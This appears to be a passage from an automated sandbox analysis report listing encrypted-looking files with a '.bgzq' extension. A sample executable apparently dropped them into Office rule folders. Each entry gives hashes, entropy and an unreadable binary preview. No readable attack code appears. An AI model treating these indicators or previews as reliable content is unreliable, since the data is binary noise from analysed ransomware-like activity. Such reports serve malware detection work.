Preview:	<?xml...L..G.E..V..b.....S.w+~.&o....,]..=P..=..M<..%!.9>>.....i.wr.5..<;.I.\|....zxR\.,.k..A.7<......h}....5 .........e..1....(.#RrlF.....P...bd...hCX.po1..?....h.`........_,=...v..z.qDe.!Y...z.\~MQM.....f....z..h....''..-Q#...P.m..TL.l...\QQzT..{... h..+F......i.....O.Q6..a..)....e...lEE.S....H"$."...%.........=..w...d..Xxcp4......#ba.....0.8.n...ZO.R....'...T.`....&...&'..g.H.<.d......]d.e}.....O.ZK.,.@.....@......-.,6.......y=\|..G.:.?.E...C.^...Z.gg....../.K....2.{...Q)&..j.'!q.......CP.a.8YB\|.3mb...)i...5rJ..w..T.p...o.(..]p.d..#.....bX...........z.(.7_....J.twlF>/.%..F...7.........V.r.....'>1..OJ...US.G..;..=..D..C..~.b[3^y..-.h..?j^...J.-.....6.k.7.H,hVxAl.........T5.i.n.T.kJ.m....V...K.&F?..[..`x......&nU!...(.....u..q.}.!..L.....L....:..2..P......>..+.c..l10..<Y..1.O..L2...E4uCU....a@..-...v..a.....f.*..F.9..c."...........d.~.]1.<..Q...N..c..1.,..........2y.9....+......\O..\|G{.zC...5..zD......t....f.`01Ds../..D........

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11264v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.933007861424056
Encrypted:	false
SSDEEP:	96:vboB76O+i+2G+JZlRWUOjqrM+Zp9d8ViusN9:vUJ6Xi+bCRWUOjqrM+5SUua
MD5:	45F31E64373EBD3560F8F8F587952FF1
SHA1:	91787F5B8F26C4972354CF7EDADF9631E850F623
SHA-256:	21883A19805E1B9BBB6B40481D2060AF6BA66AC1C2A828CAA4B85530EEA7B118
SHA-512:	6570BC086BFC82E87F3924F675AFC6CE10F94E3642C7D1882D84CB7619E2216397015B98915CF15BA60A3C8DF6525AA0982BD4D1CDE27014D17B1B4D2588AD1E
Malicious:	false
Preview:	<?xml..U.J..M.8... .....S....6p.Dpe.....^.E#.B,<.P!?..n&=....>\&.\|.+.[2.'.2..a.i...ybw@...EK.... .6.S...x....+..b-2..i...#.I].G3..h...b.1.h.lTd..P.....5...U.....%U..v.......&I..z........./r.Ida..'...c....+.4#.7.-.`RZL.cW....1..]......Q._AH.u+..Z..Lx.35..Eg.g.......$..9\..s....].E0(S.7_Y....lQ.Z.q.m-v-.......K..@#.x.[(.R+....i............^......JB.T...{a.H.q.HO...l.&.V.h....6H=@$)..~4...%../k.R..k..y..Q.\|.u`(./...m.=...U'..h..vOdh.M..u.....E.){5r..f.p..@i..@..7..f...^...o....d(.L....7..t.......=#.J.kt\....u.....#...+..?h.b.~..bI..4.U..3.........$.qGZ.w62.....k.. ...l.Q..Ai.,./T.-.yhr.lx.....4.Q....x.....B.4..q......z.z....C..!a....K.s...e..MM.-E..I.X.W.)#.....U.m..6.?...L....h8....@.tHe....3o.i....p]..P.p'.......eUy...2P......2..:.7YZ.);HKY......>..\|...h.}.jDtx....^....}.d..._j.H...\|k.M...........w.U..8..%~.aH.E.;:.$0..DP.<.f{b.}]....5wf....7...k.H~5......8G.F...."".........5..l..T..k..fk......D.i.. V.# t..B.}(*Y/..+.&...i..>.).<hW

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11265v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.9225567252120745
Encrypted:	false
SSDEEP:	48:1CoGgLet2r4P5G9Wv2VELUIBydJrrIdFD:1Co7Ba0dcrEJrrId9
MD5:	03F34AD9AF77DF98B847384B220EA32D
SHA1:	0F07A6F40BF94835716E64329AEDC6426315791F
SHA-256:	2B8A65450215FAED38074EBC3C20639D1879169F1EF0FF933837F77C31BED3C7
SHA-512:	F4996DAE51BE86EF415E0559DF56DD531D59C91FA492D37D10099D298F252FC8846C3388E0F3D5993C6D715DC168F5B1ED0A0830CFE22C51496183B0F969D1B5
Malicious:	false
Preview:	<?xmlOD.p............dU.o.a......X...aE.q.=..J.3.M........m.>._....NU6.q^.?./.....)&M...\|.7.........J....e.......'M....E.7.......`....f..J$.._..}\|....?.%...{.....o....$!.....l......m]2/......l^R.......6};h<..<.....L..p.y.>..Yg..)^........ b..3.(G..$....$9K.o.5X..V$\|n..![Z.gd..aZf....z.1.Q...G........r..t6.0....,?.k..aXU..^$p....T.o.V1h(.`._.l9.R.....L.ZXW...E.!8...WoS.'.......N730.....G.(.s..aS..+..e.Y..t....:....?.!.."MQ...U..N,..B.C.F`.,C.M5....h\|c...p..,....{Lk.....pP4...5D....<bp. '.M...Qqk.r..1....d..$...(-DO.{........j.v...G...J......<b.J......q..S......A.T...Hw.o.."....<...=..T..n....n...j........v..x.Yl..m.sy..7...q..p.e...#D...._.!?....lI...Z.S..n&.c.1._!G>.f.G....D...W..f0....u/c.Y.....z.Z.M.5...IB,..../.=..hv.[..T.......j...^.t.-5X.......92.";.5\.\|{..`...7R',..[..n..W"...t;..#..D..F.......-.-X.(...W1..kk.....*. ..j1.@.X...hv...k{...w....g.....^...N.E..4.xH.~.%G,Z.v.760..P{.k,!s.pL.....a.......P.>...F.v./.8..f.g..-

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11285v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.974653825893867
Encrypted:	false
SSDEEP:	192:OlAcbc9awjFyFEGudbprHSshKd6M3tPSJkMq:MAc4aGyFSdN3h83EkMq
MD5:	1037753E035BC9573B5FD9DD6E5A2AFD
SHA1:	D078BA17D0E63CCB79EC1FEB4F073A807C6A9280
SHA-256:	EC85DA2D4B7EB0712824F90B4BC3090822035C62E90BF77D6962A14B77582CCF
SHA-512:	06CCB22E984E63F551C076B49B2253D7CA20878EFE5F6F213C123D17B92974A456D07C49C450A88BD75BFAD9622CBCE1DC77AB0492EA0A249EF35981089007D3
Malicious:	false
Preview:	<?xml[.O..P....C0e.2a...D......(:?...<(..&...p.?....m5/...I.F...S...pXg.p8@]....[....&./.y..Bn.......Xib..C.R....0...t..6.&....K9.4.K.z..>.U(..c.VU.}..uElJ..GuD.4.0......f.......D.o..C`..G.bvM......l...@..Ffq..8..J._...uOp...M...}..3.2.r..kK..x1..&7N...Z..x7...9...%.'A..E...q5...x......(.V...c Q".".c.....d...Lya. 2Adi...,.&v...E....3\.?..va../...".8+.B...........41...s.R.HF........^`G7..%&.....+.D"<....8<.6..hL...Ah.....M...Y=.A=...v.p...F'...^..@=:,.......J.......Ec..aL.\|...5...U..66."9..C......d5..4/.4...53.7..:#..o...F.[.....!x+.Q..g....=L..KJ..p.....)8..P.-v.{....1.Mr......K.R../..f.d%.d...\\|}.#..=s.A\.....`.>7.....0.....].@6.f..\|x2..\.g..d.....By.....+[w.H.8J&....<.....i.".~W.~...\|.....6f...?.4....V..J..K..........Vf.".:]p7.1.U../.....8..cf:.n.{.44[.^...."W............H.=......C..[AW....:.4.D..%.y[R.M".........._j.E..<...<t......+....t.<+..6...4e..".8.6Gx".......z>.m..].F.....`..d$U..(Q......f..%R..+.:...S.[\..P^....$..o}.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11289v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.954444566704079
Encrypted:	false
SSDEEP:	96:5J6Vem9qYdpt1AQ7+SQypKH6FmGF198Xswqnidr10BI1k89:2frHAQ7+SkH6QI198/WVE
MD5:	0C37F511B0DFC44226F4CC2D2CF1AFEE
SHA1:	D020C35EA0123C5772DCEC542A559FC081F9FA23
SHA-256:	AE02C132990ED3ED4E27FADFDCB1302A53664C03E1F1C749347E00685318FC64
SHA-512:	08C34D903176F5069E395685F1C07A41783048E600E518E7C774AB9C42A39E3295435D4181C28391B9350B4318094DEC24F6032598E67287862E915FB5D3C8D5
Malicious:	false
Preview:	<?xml..$.....oI.....I..9.2...1\...#..!o.J..Mb...~....8.....Km..n.9.K..Xh.....\|.j).......Lq...Z..~..3).l..z.:.-....X.....Q.>..V.........b....?..P....qxUSF.^%...=......\|.......^r..)~z`..G\|.j..b{...Po...uR....Y>...E{j[_v......qm}..\x.t.'.U0.X#..#40.4.^V.......E^@.h......Lv.H-w.n+.t+..V/)..Q....2%...........3ZX\-C.[...!..GE.i..jt@N(.w...\|.u.h[...../.`......u.E.:..X........3+.e..Y....k......?..W.b.'..>...'%R&..D..f...3:.ZU..!.o....l.}....\|q.....m.8....s.+.....P....Y.......#.5.....P8.....R.d..J.Q^D15..A.R{P..@.%...`.u.H.v.7..VQs...N..S.-.X.%.;.M&.L2bO_..f...H..,.C.&..4.a.=.r.X...X..K..e@k....4.Na.).z.....k.%0..K.v3@...3..M..<......Z_.."...../..f.7....;X.........8....I... tv.#+.(.I..D.I.C......:..L1.o...A..Cy!..A....\|.#.>l..3Z.!u...m..5..@...s........)...\.V..(..R..p..5In..l..-.#.qJ.6.......V ..#...........yZ..s.=....}.jA....7..s...3......:...m...MV....=......_C..".i..I.T..e.6.13p.$\|,X...}......f.$......w........A.JX..N..M.+.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11300v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.9575041524250425
Encrypted:	false
SSDEEP:	96:DzxxTuBxKlLSzbDkoqrajhJL0u6QVVvEoF11cvOEHCzq2iBY/o9:PTuBxU+3AraXL0u6SvjjOHHJZ
MD5:	751D2385F2240E772B75F10917853147
SHA1:	A6A7A9C0A23DF6A5F6D58FCA4A2BB97A35AFFA43
SHA-256:	A737FBB5A96A2522039D1ED8C92407F1D3A7FF54C5113DD4C0797328E0915C0B
SHA-512:	EA5306BBB34A00F96D229EA6FABC5545C64FB159C8BC9BE440A260B53AFD5E723BE0CD90EF3E285C658F94F142DACD5FA9863C2A3654E810FF82EA683B14B953
Malicious:	false
Preview:	<?xml...i..rl....x.`.Pip...1'.C......q...=E0.:..<..P+}a)......4....4.k..Q.J..]..1.....l,#+.&.f.L{...@%@H.<.'iL.%.kny\|.....`4........aM../.....~b.E..........o...F=.aD........C6.x#.S.P.I6....}...d.xL7..8.^\.(F.b/n...x.c.i.N0G.:.CUH!.nU.\|o8.V.1..&..h..,#..P.m.\.cJT.....+.y...l.f..MR..=.(R.-...9....^..v.I#.....\0.Q...xU..^.....>&p...s...dM...g.?..by../.kf.[..c/../I........R....V:...\|..w.......1[8..j.59....u=\...+...P6M...u.. ..RsSb,..).LP@;.31......TF..2g._..Te.kB.2.._....&-..L.G.P...h.. ......4..I.O.V.1.....B...........Z. %A..HB..u...q......<.Ln...e.A.....0.Vo\.I2.Q..._t......L\Q.........j9{...w.....4..qY.......8R.. @-..Y+.;Z){...n.-\..m...5.P9......{..$.y....vf.}CI6E.......g..7..;(l7.l..3.....\....U..q......n...I.s...>.`../`...._F..9o..i.zz...b.......iF..~...U...UW0.....t.$5i.E.)^v...Q.^...#a.zMx......:.Vtd!.]E.U...X$.?.`.[..W..=.\..G/n...].eDA..f.........30..1.l..hD.*Xv.lzc..../....)..mS.&..$.......#..L.r.8{......V.".W...2..?.VJ..DO=..q.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11302v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.936198734115216
Encrypted:	false
SSDEEP:	48:ePaxPNyEfPyQcx6S/urSAvYGlO9TV9IUFMeUCW1sVIxJbVZcNHFmgsQA7SdusP+z:e6kIcxFULwGlO9TL5MNCW1smxap4jBK4
MD5:	67621717D5BBF3958428CEBC73B04751
SHA1:	4920C463E43664A87F7204058CE901ED84ECEB35
SHA-256:	C78C88D2C321EDA6E8C23F4E9D0C10FB20C56A07EEE233F5B13B5A62DEA9A525
SHA-512:	E70FBA10365AF6742E41BFD8BBC50FC8F7ABAA97231B8AAAE5C6E5C21169FD1F8AA3609EE91DFF3B93920BF0B7D6C854F9F6C335892CE58B401CF94A9A5835B6
Malicious:	false
Preview:	<?xmly.hQJDQg.1.....\K........#......4z.._......FV_..H5......{:q8...d.\|....R..{.....c8X...v.A.q.X..M..E\A.....s..JtS..B........b.....I&..H..)'......D]r.....,3}...HM....?...O......E.R..9...0...!.m.k.n).1.......k.:.z+...u`\|.mQq.... ....1. .....M. ....6.....\7.P....#.Z.l.v.@.M....2s.}.Qa.K..UY0[....9E...Q.....H9U$P/i...X...T.A...z.}m.2......k.._]..T6"cC{.W..;....G...4.....)....WAK..~[.O.t.._..p..<t.q.*7..]...^...Y..ob..!C4.....h./7.D...h...t..i%.S..,Z.e..0.0vn.`Q..../~.}{..{.@.......R..,.b.?...NpV.HYD47.lO.Y;..[.X.9.\...........Z.c......d2\-&...@I.Bd/7\..0.{...P./fX.@#.@..!..QG..).. vrH.}..5i0RS.=n).....].^.s..<.v.#........z.N"...J}.8...+]f..r.\l.96w..k^ZmV{..N_O.......\...L..\`.p...D..AB.Of....<hW..-..l.{Ipb.1./.#....l..]d..(i.<.v....~6.{e.s...m....6.#.oN.s..u9r.G.Fu.`.7...O.....].... HK.4.:.....1..T..>..v-.Kr..ZD...!..!{..w[2...`.i.a".I%P.Pw...m........{.+./.E:....Q..h.VtY.n.....8IT.\|GtvNk..\|......}k.84\|.D.k..L.r..c..-..5..)S.+.........v

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11362v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.965038127616345
Encrypted:	false
SSDEEP:	96:0CRY0FBC2GhcSOwq/tMM3qUzLr4sf/I9KBMQfmdeC+g/wc5MVTIHJfazpq5q/wcN:w4BC1h/Oh1Mu3Lr4s49oMPig/55MV8H0
MD5:	21E4DD26D6C43BDA4C893669C8A22205
SHA1:	64FA2B1D7C1D34E2C704A2237E70F6AD61DD6126
SHA-256:	DD9AA2D3617AB298BE5B32C8D6DB86807362D3C122175DEA619E92254BA8D661
SHA-512:	FDA6AB8AA0D9BFA247F635D18F81A092549801736C43547166B47763582EB67F06AB3AC8BF743F89B6FA37A8FEF3BE3E503E4F83BF9B938A6C35C81942210BB6
Malicious:	false
Preview:	<?xml...<.B.3?../pI.Bu..2.a...._......w....p...~.T.@.+.N....&...<._.t...`.e.....Zl..@...k.1.../V..[....Y...1.1.........Mn$.....q.V..h.+..K.".......>...z..wvr......KM3/mO5c.$.L....~Y.g`.?...xnCu>.m...9J......WW......+.g..{.L..B........H[..'..\|..EF.f..f.?...\.n.../w>..;+MF..0..h4....9..'.2l.....,...}.r!......Z.o.......V k....}~.=..tLVU.]B...L...~.5..........xl]i.o......7d...{....l.No/.{WO7.6..p.,]..>x..<^...N..P.7L=..e..0.e'.z..&......zdl2.b,.....H.k7..}.\|8O~....G..L...%&..=.6....D..mR.;.)...4.x...?TN.>...~.IK..z.....U...R.u4,.......G..@........D..j:6.kV&run..F....Z..-iF^.z.}..H..w....X^."..5..i.YM.i...q....p..y..4.5...]...+..8e..%...8,_{dW.-ftz.z.L.....f:....CpUMt..Y4....Z..-bsE.:....._.G....?.....Lk.....V..`^....-c....s1..<..........h}\|.O.+&....Vw=j...A7.%....!....p..z..H!JW.1Q.....f..s.....?F.."....uy..h.{$.h..i..!M...X.'4. .....39~$.!...H....\..9....?l.~7..gJ\(^..P.......r.<..N..A..m.P.a].$.X..~.HR.....e.&2..J..@$..1"..{..r.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11369v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.894965361657318
Encrypted:	false
SSDEEP:	24:XBGhzqukYZIrhRo4ZUbkmMyv9CO3Jk/OVWvoMvxEXd6ot3PvIHeCwH5+XdhJEgMl:X8pVkYZq3AvtC6XXd6ot4HelH5CUF/FD
MD5:	8DABB485721014306D954CD484841BC3
SHA1:	0AF2960ABE3F78DB4CD00B8089056AF1B6BEB307
SHA-256:	661001A8A6ACCB41F3B81665027B7044C0081AFB9E3BA8FD811B5268C2D744C8
SHA-512:	15FFDA182038D336509B8C9FF98709BAB2EB8EAA39BF95D06FA020B2231CF74C109A42276820A6AC423CAB074515005A5B2B8FAE12C5527ED23CC4E5CE7872B3
Malicious:	false
Preview:	<?xml..q.=H.".....6...R..t..K...UN.=!.&Y.._....h...."......w.....*.4....l..F..0.E6T.... 9T8.`.J`....t.tc...+.....&lM.......}0..&.C.3.D. .e...}.....+.o...(.^....K.../.r..U=.paN?S..h..bi8)>.%.7.h0I........N.<Ph...F.D..p..p..Y..B.7....#.BF(.Mbg;x..oqbd3.}..q^.....3.].....0a.3$...U.......GT\.94qMA.>....ll.....:.si..<A...k..<M.\|#....K..P.\|.R...J.J ..>........&.tR p..J`........i.-.XA.....}.zf.Ii9F...c.M~1.Fq.v....~.O.....G..<u5^.-...).$;I...B+........h.q..rO....,!K....,...2.u.....P...ra....K..w6Yo.G.da...~.B..E(>....>$.R>.N...M 8wJ_.e"....p<g.. .......&9.2...P.g_.......~P.T...{...X....?..s...\|..uP@nY...n.Vg3....f}...6Eik..)p...p.".,`..HN.u...w\..#.E.&.....DCW...,?......o...S%D?....H.........8...W.....W...zM..OY<.&h..,.opq.#aO..G.6.1Kx...1;..Yve...N..{..[K.+.....m....<. f....e!o(%<.Xf.Q...jbq$.I..hd.oV.._5..o..O.j.R.H...:,.....?^=T...H"..'rV.`.G{.\h.w..V.R.R...s-.....R..E@..D...8.8........{>.....h.......#.;I......j....I.=Y...."...:r...O;vU.H.J.\(..jU..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11370v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.7653513521466495
Encrypted:	false
SSDEEP:	24:hQbfWnfx+Kid8hBTiw9dyo8UGsWGyYHMKMNGluVbD:hqfyf41dwBTiwGt+By8oNQuFD
MD5:	A631A00916F9F2F0DB07E07FCA863DB0
SHA1:	7B1FC7CC3BD663E5D017093E5989659E8C288073
SHA-256:	25AB29B24EC04B234255C1E18AADCE1580458D0AADC3C2185CC3DA00BDECF8CD
SHA-512:	607F626FD9575F59F41996426841AF043EFA4895D3CA28625EA668DF6E537E67F351F898B8FF2D449315F70A8256385F6ED86F0931B4B7D901AF43A296647C95
Malicious:	false
Preview:	<?xml..-...\.q..~~<.i..w..x...;m.5..v8c.0...y..8.6t.......e..V...\..S..J4h;..:-...2Q_.>....}Q.:Ss..V.n.ja..#@1.9.]\.\|.e}M..o..].D_!...^e.....<.`....-w.(..q..z.h.?.L...d8(z...>.R..4...U\Ij...-.....S.JP.M..hS..k.<.JU.H<v+..@3............z..n.e.B.Ld8.Ma.M........bg..J(:f.#..r.....A.&a.T9...{.X.t.0'..K..y....^....d..+W..7..^.........9....~dbdVH.h`...z.y.U.L..9....m.o. .W.........N....V.j.W.-........6f(........E...8..q......w0.4....t_x.V..q.V.@.\wsG..t.K...qw..i.K.M....6PEc..D...I...~..X.[.^...,Jr..-...ijn+(....L...W.zL....df..r%.#.....=.....p#z%A...`3%d........wp.lt...l7K...h........E=i...w:.8.}M....J.....@0.X.m....k..Rdh..K..".....=.\...\|e...~.".......6Hk;.D.Wl.&...P...........u..D../.p..<.,.AG.X...T.<.S.2..HVI...nq{....xG........R....\....u....#......W.....q...a(.f.2M..&pl... 6.X..p..D.\|E...b.....!....9.s_...S...Xm...?..>*.-....r.....`b]..uw../...r..uf.J.R>1]f...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11381v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.9269098198972054
Encrypted:	false
SSDEEP:	48:BSdKm0LZ1pWAegN0ryddG/HRi2M3Tc3nhVoWgwh6kKFQCbi6iTK0dBT4Q6DGm4sH:A5K8ABNW/HRwTCnDTjh9K5biLdBTMD6w
MD5:	3CE342A6D15D6DE5A8B0004AE74DAE9E
SHA1:	43877CA84FFE92BFA148F9A66A6955D9041ECC00
SHA-256:	FEB93997CF564F42DEDB6FC104533E90351ACC2B0B78C00EBDE327F82227A7C0
SHA-512:	941D8AED59F14BFCD06A4FE49BBD8237CD776D7ABB40115FB00DD3DBC3991499609DF5E227F43665CF8ED5E2A1214DC3E2549428161D32C5299E8CB6D4088B4A
Malicious:	false
Preview:	<?xml.z....VV..Uy.#...M;>......w..Z..\|.#,K.s....y~...u.8..{....\....'...UP..t....i0.....g.RC........f.PnUq....Y4.....yJ(....U.(..~y+)9x..6^..{..Q"...$....U....../m....b.l.Sk.....Vf..K.T..\....2.O..:.P.>......).ZHZB5....]...z.cO.j......s..Z.d....?..f............@...7.xx..R../3.3...2...x .Q...z...U...&.......#q.F$:....q8FjA.D...B.UPi.....m...J..>......q...P.Tw..."..R...h..V..Um."$6...ug....+.X6....3Q.mp-...`.....U.".8..J...NE5l.t.lmm~..=<./1qr.....7.r!.iO......KZ..y.hH:...A..f..#yOc.......,.2VX.Of.h...\|...bz+. ud....$...... ...nI.\|.}+.(w..8....I.Dl..0.u...DN.V..}.<..Y..9.d...4.}.g'.3.T]#_....j~.6Dl6.''...N..,.`Y..:zY#Iq..`..9.d...o....e.RJ....)..d....e.j.....o...2..\..O<..+xK..6...zs.,.>B.........l..5....Y...\|....OP...w.r.=.gs.^+.h.K..@Z?G2.E.X..P.5[.Q8.b#..........a}f......1...#3.......lp...\'.F..p;.^T(....).vdWm._-.....Iu..{..2..;J..q..y.`.;.~..N...hL.......o......&.ou...U..gxL.Vg..]p(...g`.d..Q......,.....Hu....S....V.>.x.m...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11446v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.981608476997584
Encrypted:	false
SSDEEP:	192:E7hcGqLQklYG8YJG0d5k/cZrRp/ke7fsg4g6/TeQNsZtKWDP1Gv1tONt:shcRQ+V8b0jk/cPp/keD5uNsZtPPX
MD5:	CB8C71F731EC14F054108F2BEF863CE3
SHA1:	7F6424805BFB59B7D2BDAF75908E6FE10728A87A
SHA-256:	45F2E41BBD95C0955300DC85B3701A02E3EC44FEF19268B2EEBBEDD179F98AE1
SHA-512:	FD2BBC63F4D146D85182D5ADA977828D8E3B4C967D4A001A9F5D8900779B2C006B2D87085D513B91E3D6F74C881E34E6298EB18BA3D13320D6DF02AFC5AEBCCE
Malicious:	false
Preview:	<?xml+u.$.<...c..aj+.3IK{....H...!.j....,aK.2..?.K...O..SB.....w....X~R.F...;..p.}.z..n....-....l..v.....}..YD.o!.....AV{ ...."...rm.!/.C...=.^h....gYU....@.,#Q..An.\.z..RK.y"`Y....A...a.`....]...8..].\.3.M...y.......i0.a.\kx.....b.rS}_.r....3.!...:.7obZ~....[.........AN...&.3.s.\|.v..t...iFE...Y...r......9.8.p.....dY%\.rC;...nB)...4.NuKe.'.(.C&.x.-..Y....x(....W.f(.YDb...Spx...@..E.?..c2..Eg..X(..Y.....[....@9J..6..Y..(..+....S.k.............!].ED.......}.....^m..n.!B..#W...n.I.@/.<t.k.Xee.jXJ...So...3.......$.4z#.)ocU.......lu.........4h.Z..R.a......i..._..~C."....sm>..xN...d4.h........Kgs..@...l.W......5..)l."...Fm.b.Mn..<....".$.!}....g...<wQ...`..../:.c.........<b...#..\|.......4 W9<.....C.J._.....B0$..S.4....9./..$(.)...-...J....U..d..a...._6tfw.....g.4....S..].........z...&&f.2Sq=;"#pm:Oq.Y..L..b...1.9.J.Ye......V.w.."a.....&C..]d*...W5XF{.j....E.k....}...J.3.c._.. ..h.lpw.+.#N.F.Hl........u.A..]m....X.}7S..r..Y...t.........U.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11464v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.732965751465977
Encrypted:	false
SSDEEP:	24:l2GXr9IXd2keU0l8UBqZ2u2cy9EKbNVbD:l798edl8pZyVBFD
MD5:	446107D9F75232E1A1286B3293D72C5C
SHA1:	50720102A8E47BDE3D3C114DBC9B951319B31A4C
SHA-256:	143A750E58B5ABF3FB52C03D9C2F48ACD6053CE8C751D0EDDF33F00C543385BE
SHA-512:	503B202EC75A494C927B7C4A64C760CE640A925566B571616721E04B26952D20851B33B7B7A83BDE21D501D760148BCFB67090291ED5173426DDBC4B08261BF1
Malicious:	false
Preview:	<?xml.=<....2.:..{.j}!R..:..I.v..^.?.Dh..x..G......I.w%9f...0..../?q...8Q.g.......[,.u...;y.n.....#.{....z.=/.~T. .....R..C........h...- ...kv:.{......4pGI.#p..}.d0D.e.......v.%.8......-.8....[.@.<).E..>....f.8..L......~....\|..o.y.._>QR..{,.>.Y....S..%.C..W..?"@..8Z.....st..s:i............Y..OW.L...n5K._......7.:"...W.D.+..=.GB...+O".h.I...6%R..\..1.p:!Fi..Z-......9.N.8.../#.....b..=....6...Uw.....O..{../,....$".......B..d}i..gm....ZxX.Ox.v.+E.(.._0[.............?.....[K&.q...&.-..`..[..A...........2S..brI.".....q..6.. z......I.2J.e{.W}V........p...3..(.jv....B..Ki.q.f...R...O..t.pl..qz............/..N#.J}...O\S..3..t....N...3{.c^W..(...x}.....x#`l_[..ir.9..d_a..{q%..m..!.C....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11498v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.717492000565246
Encrypted:	false
SSDEEP:	12:/s6D3MJuU1X7DI56Nyz/YpY68HeWUASH9QpaVTfG2amN9MpDIlJvWVbiAjVcii9a:k6D61XnjUa4zXOTfGVmLMpMlFWbLVbD
MD5:	A7676C2127ABAC829E9EE9F8C8C1ED61
SHA1:	A60E1ECC5E4831BD85CF98D0DAF2D3364F3F32C4
SHA-256:	9F0BD2A46CAD39D4D627E81A90C2AAE168159803F4D43AAB8FD2A49C213A4EC1
SHA-512:	9557C2410947AE530F7A2766A1201115117809D4537FF2F294DC2D3D2387CB6577A2E03CECCBE4DC983467BDE8B3793756973259A50C066E703B108D354CC4D0
Malicious:	false
Preview:	<?xmlrkb.j.../..!..]..TG...0x.?]....+.>\|......I..glT..T=......H....H...Z.i>2n.....{f%..R.B.K.z.......a..W!.:.z...........I%.a....].]..{.\|L......i..>..w...n.12..4]V..wV.$[..].M'..d.dH.5.ke0..ci.Q...._..Iu...."..Go....a.......6U[..b...4..n.!.U......3h.X.........."^-...O..}..Mb.W.....M.8t..;z.....F..p.,F..<.....>k...._:....s...1.;.y.#2...^..X...X....z........'.Q<t@.F.p.3.{..gc'.i....Rn.U.....B.dY./...q`w.3..F......q)p ....-=....Y>+.l..ZD...Y'..V.i........r.........O0.-...9...\|.;)_...[r..!..VT...%..mx...2.^ZS...P.p..+f.g.%*.W......J.fU@.9...F[n.p..[n..}...ej<9..2R...v& ..-.A'8..AM.L.&..!<]........2.<....Vk........_.....\.dexWY...4;^...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11499v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.8827537651676804
Encrypted:	false
SSDEEP:	48:WdNeVFE1s6qP4p0Rk2ABO3mQwp36yAScWPcFD:WdSFS4RkjBO3MttK9
MD5:	DD5B50E1EB698526735FFC384A627292
SHA1:	9A327FE399FE72B041D769FDDFC0FAD6391B97C1
SHA-256:	FAA542B9C92BBF5182697FE0BA62FBF6CF125F6CFB0E21A9D94A7F939B543022
SHA-512:	D601F771D7D9143C24A1C3F30E62AD8F37F4D0BC897FA659F389EC4EEAE20B450AA9CEB6C79A04132F6A8A54A9739B0A2987BB02A1EA90C13CB04DB0A8A31CDB
Malicious:	false
